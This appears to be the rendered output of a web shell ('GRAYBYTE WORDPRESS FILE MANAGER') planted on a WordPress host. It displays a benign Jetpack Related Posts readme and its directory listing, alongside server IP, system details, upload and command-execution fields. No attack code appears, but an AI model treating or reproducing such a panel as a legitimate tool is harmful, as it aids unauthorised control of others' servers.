GRAYBYTE WORDPRESS FILE MANAGER3516

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/related-posts/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/related-posts//readme.md
# Related Posts

The basic code flow for Related Posts (legacy version) is:

1. Generate an empty DIV to be added to the page.
2. Make an API call to get the working post IDs.
3. Call `get_related_post_data_for_post()` for each ID.
4. Use generated data to update the DIV once page load is complete.

For the block-based version:

1. Make an API call to get the working post IDs.
2. Call `get_related_post_data_for_post()` for each ID.
3. Use generated data to render the block when called.

## Prerequisites

If using a block theme, the site-wide Related Posts setting will be ignored. For other themes, the site-wide setting is honored as long as a Related Posts block or shortcode is not found on the page. The Related Posts code paths will only output once per page.

In both cases, the feature needs to be turned on in the Jetpack settings. This makes sense for the legacy widget but can be a bit confusing for the block. It will not be visible in the block "picker" until enabled.

## API Usage

The block depends on wpcom for the working post IDs. See `get_related_post_ids()` for details. The returned data should look like this:

```
[{"id":919},{"id":9},{"id":903}]
```

Note the data used in rendering is all generated locally once the post IDs have been provided.

## Block Source

The source for the Gutenberg block lives separately at:

`projects/plugins/jetpack/extensions/blocks/related-posts/`

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
rtl
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
class.related-posts-customize.php
9.019 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
jetpack-related-posts.php
68.712 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
readme.md
1.378 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
related-posts-customizer.js
0.717 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
related-posts-rtl.css
5.724 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
related-posts.css
7.395 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
related-posts.js
10.184 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF